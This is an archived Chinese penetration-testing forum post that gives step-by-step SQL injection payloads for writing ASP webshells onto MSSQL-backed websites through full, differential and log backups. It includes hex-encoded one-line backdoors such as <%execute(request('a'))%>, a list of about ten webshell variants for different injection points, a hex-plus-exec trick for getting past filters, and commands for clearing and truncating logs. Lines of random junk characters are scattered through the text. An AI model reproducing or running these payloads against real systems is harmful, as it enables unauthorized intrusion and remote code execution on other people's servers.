中国网络渗透测试联盟
标题:
MSsql差异备份总结
[打印本页]
作者:
admin
时间:
2012-9-13 17:21
标题:
MSsql差异备份总结
差异备份的流程大概这样:
$ e0 e6 H7 v9 T7 s* y0 u! \7 [
1.完整备份一次(保存位置当然可以改)
# O- ^7 {( v: }' \) y; ]3 f( H
backup database 库名 to disk = 'c:\ddd.bak';--
% S* b: P$ L7 c* k6 S% ~+ x
! M( E Q( S. V- ^2 b
2.创建表并插曲入数据
; @; k2 j- w: J
create table [dbo].[dtest] ([cmd] [image]);
& q9 [1 w7 Z6 @1 l, j, J; k% G4 m& l
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
& O+ E& M) X3 `
! ], M/ x1 d4 M- ~: D$ o
3.进行差异备份
C; C2 }, R' Z! [, A, X
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
: {2 B: }$ O6 w9 U% c0 F! ~2 h; |
6 x( ^1 n. @4 m" C0 ?
上面
! U" a6 I" v& {6 a/ ~4 ]. D0 h
0x3C25657865637574652872657175657374282261222929253E
' Z- ]: a& j% x% T5 g
就是一句话木马的内容:<%execute(request("a"))%>
& u* J) z9 I/ B7 r% K
/ s$ U# x6 K; m- ]# b G0 u2 a
如下是网上常见的差异备份代码,思路一样!
3 V5 K9 A0 t2 u" y( Y# [
===================================================
4 G% e! x0 }: [* `
利用差异备份提高提高backupwebshell的成功率,减少文件大小
. g: K X2 u& f v B$ u$ l
步骤:
' N2 J3 I( b+ f+ s5 W
" c$ R+ L7 F1 o% q9 t1 t( m
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s --备份数据库
. W+ l0 D5 o; U- [7 ^
/ g0 C& ~, o4 `. f1 Q' @
create table [dbo].[xiaolu] ([cmd] [image]); -- 创建一个表
: Z- n; G7 W, D" \8 Z
8 ~" O2 v2 G2 W2 H/ R8 A
- Y9 b& o1 L( \+ T
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) --将一句话木马的16进制字符插入到表中
. Y5 |9 |: ~, ~4 L
8 s" ^; _9 ]/ f: m! T0 H. S
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份
G4 o% |% g1 l7 {; d J) v% s* `! r2 ?
c# W6 {. I! m
drop table [xiaolu] -- 删除此表。
@- C7 i# i& |$ G( q/ g
& v# N; l5 o, E6 `+ a3 R- w. ]+ [
0x77006F006B0061006F002E00620061006B00为wokao.bak
1 O' x- c+ ?1 K/ D) d
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
" P9 w: T9 X; v
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
- i5 j) T- i E" j4 Z" T
9 B% F* r5 T$ m* D
声明:方法不是我想的,我只是写工具,默认得到shell是
' e+ Z/ @7 Q- d6 \
<%execute(request("a"))%>
) m# v6 B! D% z" |5 m
===============================================================
/ V6 X C! r, m# P5 P) i! A3 l
7 q- b. ^& s+ o# Z
我发现上面代码,有时会无效,而直接用
# _) p7 O, y9 U7 {
, a- Z. {" y h' a+ h6 ^
backup database 库名 to disk = 'c:\ddd.bak'
* H; W( V- I+ {7 ~7 `7 v4 k
3 Q8 v) v0 [/ A0 N
create table [dbo].[dtest] ([cmd] [image]);
9 a4 ~) H- m) M) P& D5 r
( X5 P! e+ M3 F' V
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 {" F" r7 ]& d6 D1 N" @/ ?
, y5 M8 M3 n. E. W% ]" [
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
0 r# P: Q1 q) q
$ L3 j) P' d- O; C
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
: f @$ U% v' C9 p6 G2 l1 K
7 Z. b6 g0 }; V( L; g+ R
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
) y- m8 C- r& Y8 A( p! J% Z+ r1 X: g
4 g" I& b" L/ a7 v+ l9 M* |
网上还有log增量备份的,我也把他记录一下
9 ]4 K7 E( @. z5 y
=====================================================
5 x; s: C5 o# ^2 h1 R$ u& G
另一种log增量备份技术:
9 a( W! i& U; t2 T. ~! k8 V
! \3 A% c" s4 [6 ]
';alter database null set RECOVERY FULL--
. U" u+ P' o+ V3 X8 o
5 T* @6 k6 {, ?. u5 b( ^8 s+ N: n0 H: I
';create table cmd (a image)--
: y( R% O$ u! @% M* F1 B
3 {( t% E) |; r+ ?3 Q! |
';backup log null to disk = 'f:\cmd' with init--
$ }2 d# z1 \9 u" l. i% b+ r8 u
- w" N i9 {0 s9 X: V
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
+ [4 e; K. u) G4 k: _; m
3 t! e3 C+ c d0 B) b
';backup log null to disk = '备份路径'--
$ A7 |$ z) F9 [3 I4 `6 f3 M
4 m$ _( i+ ~' i" G5 y
';drop table cmd--
- Q6 \4 Z, l3 t/ E: V, _
+ f& B: j1 I( ^$ }6 s
';alter database XXX set RECOVERY SIMPLE--
7 H. G# O i v* ~2 q3 ?# @0 r8 D
. C; P; `' t6 ?: M+ L+ {- [2 n; n( i
PS:0x3C2565786563757465287265717565737428226122292
0 g3 J3 K1 F' `, J
9253EDA 是一句话小马16进制转来的
0 _7 O- a. D* C# s9 w9 A
+ ~. m: K( y3 \
说到一句话马,还可以有这么几种写法:
1 Y7 m: {6 v4 _7 X
4 A+ s$ I. ~0 k K3 Z
a)<%%25Execute(request("a"))%%25>
) Q& `! Y: _6 a; w$ ~9 m0 r
b)<%Execute(request("a"))%>
: m' D; H7 r# h0 |* @
c)%><%execute request("a")%><%
# w4 C/ b2 x# l1 z5 l
d)<script language=VBScript runat=server>execute request("a")</script>
% A v1 c" f+ P' e1 t
e)<%25Execute(request("a"))%25>
( B" u$ a. M" O
f)<%eval(request("a")):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
) K5 w1 x) n; M, r* x4 |4 y2 G
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
; j! T9 f# t y2 G, m
h)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
# \0 N% @8 e, y8 H5 V& ]9 u
I)<%eval request(0)%>
6 P, i5 I9 ]3 x9 `- A
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
( E0 ^5 f7 y' r3 {3 o
2 z; r2 n' n3 b" ]
=============================================
' A% n* @3 B5 H& L4 b5 ^
3 b A; l7 J. J- s0 T7 o
当遇到差备过滤了/时用这个语句代替
% f, H9 q9 f1 D
# \; o4 B# k- c0 S: E' e
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--
$ G, O; _* }9 O( X" S
7 ]# a I5 X8 M6 `0 D) P
把要执行的语句转16进制然后用exec执行
( ~- @; A3 ]: n+ Q
f1 ^3 Z1 |7 J B$ X ]' I
5 V7 }* y* t9 s4 w% U. v6 ]6 j
减少备份文件大小方法如下:
* j3 K/ ]' `# ~! q/ y
( S. P, u2 j1 s" X( o5 W
总的来说就是那么简单几句,下面以备份数据库model为例子
+ X: ], w5 C+ q2 @, I- X& [
1
7 O, x: Y8 y8 I% p2 O; w0 n* {3 [
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
5 |+ G8 h- |, h! X) Q! H
2
* F6 O8 Y( w$ T2 j5 w t
id=1;backup database model to disk='你的路径‘ with differential,format;--
- g0 c# E; r- I [9 l9 R/ ?3 K
9 {' j2 F5 h2 i" `; J; ?
. ~1 [. A. X2 k" V$ i0 a
/ {2 N2 l5 n6 u+ c! y
SQL语句清理日志
: }% J" {; E/ y2 e9 S
注:test为数据库名
; J1 T8 U2 M2 x3 z
i' u5 D/ ^. I
--清空日志
4 G) L& y& w" `! a! D( h3 i4 {
DUMP TRANSACTION test WITH NO_LOG
8 _7 Q( t; ^: ?; e1 f
/ H, z' c; T! Y8 B' e
--截断事务日志
8 _' C4 U x, g
BACKUP LOG test WITH NO_LOG
& {3 B, L/ B3 w% Q4 W5 w" M
* y/ a# G8 C1 M1 w$ Y
--收缩数据库
8 \9 K9 U* Q( J
DBCC SHRINKDATABASE(test)
3 u( s5 \9 q! q8 u+ M' t+ s9 p6 i
, R" k- }1 u$ C2 }9 O
--收缩指定数据文件,1是文件号,可以通过这个语句查询到
8 X+ Z! r9 `9 b1 A9 b7 U" V) |' r5 o# [
Select * from sysfiles DBCC SHRINKFILE(1)
* W& {9 X8 V8 i& [8 Q& x
2 E( x5 s9 A' s2 E
--以后能自动收缩
# s1 s6 ?5 _/ Y" y/ m
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2